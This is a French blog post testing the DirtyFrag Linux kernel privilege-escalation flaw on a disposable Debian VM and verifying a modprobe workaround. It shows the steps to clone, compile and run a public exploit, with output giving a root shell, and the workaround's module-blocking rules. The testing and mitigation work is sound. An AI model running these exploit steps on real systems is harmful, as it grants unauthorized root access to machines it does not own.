Test de DirtyFrag et d'un contournement

Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>

Première rédaction de cet article le 8 mai 2026

https://www.bortzmeyer.org/dirtyfrag.html

Aujourd'hui, vous avez probablement entendu parler de la faille de sécurité du noyau Linux nommée CopyFail <https://www.bortzmeyer.org/copyfail.html>. Une nouvelle faille a été publiée hier, DirtyFrag <https://dirtyfrag.io/> (CVE-2026-43284 et CVE-2026-43500) et elle est aussi dangereuse et facile à exploiter que CopyFail.

Comme avec CopyFail <https://www.bortzmeyer.org/copyfail.html>, testons sur une machine sacrifiable, en l'occurrence une VM chez xTom <https://v.ps/>. On crée la VM, sous Debian 13 (la dernière version stable). Par souci de complétude, on commence par tester CopyFail :

```
toto@s55827:~$ python copyfail
Password:
```

Ouf, CopyFail échoue ; comme avec tous les hébergeurs sérieux, les VM sont créées avec un noyau insensible à cette faille, et ce bien que le module qui était bogué soit chargé :

```
toto@s55827:~$ lsmod|grep aea
algif_aead             12288  0
af_alg                 36864  1 algif_aead

toto@s55827:~$ uname -a
Linux s55827 6.12.85+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.85-1 (2026-04-30) x86_64 GNU/Linux
```

Maintenant, essayons DirtyFrag <https://dirtyfrag.io/> :

```
toto@s55827:~$ git clone https://github.com/V4bel/dirtyfrag.git
...
toto@s55827:~$ cd dirtyfrag/

toto@s55827:~/dirtyfrag$ more exp.c
```

On regarde le code C, il est difficilement compréhensible, c'est bien pour cela qu'il ne faut le tester que sur une machine sacrifiable. Compilons-le :

```
toto@s55827:~/dirtyfrag$ gcc -O0 -Wall -o exp exp.c

toto@s55827:~/dirtyfrag$ ./exp
#
# id
uid=0(root) gid=0(root) groups=0(root)

# touch /P0wned
# ls -l /P0wned
-rw-rw-r-- 1 root root 0 May  8 08:53 /P0wned
#
```

Aussi simple et aussi efficace que CopyFail. Comme lui, il marche à tous les coups et tourne sur de très nombreux systèmes. su a été modifié en mémoire (pas sur le disque et cela ne survivra donc pas au démarrage) :

```
toto@s55827:~/dirtyfrag$ ls -l /usr/bin/su
-rwsr-xr-x 1 root root 84360 May  9  2025 /usr/bin/su

toto@s55827:~/dirtyfrag$ su
#
```

La page officielle <https://github.com/V4bel/dirtyfrag> propose un contournement, en attendant une vraie correction :

```
root@s55827 ~ # sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n'

root@s55827 ~ # cat /etc/modprobe.d/dirtyfrag.conf
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
```

Et une fois ce contournement appliqué (et la machine redémarrée pour annuler l'effet du test précédent) :

```
toto@s55827:~/dirtyfrag$ ./exp
dirtyfrag: failed (rc=1)

toto@s55827:~/dirtyfrag$ su
Password:
```

Ouf, on est en sécurité (jusqu'à la prochaine faille). Attention, cela empêche apparemment d'utiliser IPsec (mais ce n'est pas grave, tout le monde utilise Wireguard <https://www.bortzmeyer.org/wireguard.html>, de toute façon).

Un autre contournement possible est d'utiliser eBPF pour empêcher l'attaque (je n'ai pas testé). Voyez copyfail-dirtyfrag-blocker <https://github.com/odoucet/copyfail-dirtyfrag-blocker>.

Si vous voulez tous les détails techniques sur DirtyFrag, outre la page officielle, vous avez cet article en anglais <https://thecybersecguru.com/news/dirty-frag-linux-kernel-root-vulnerability/>.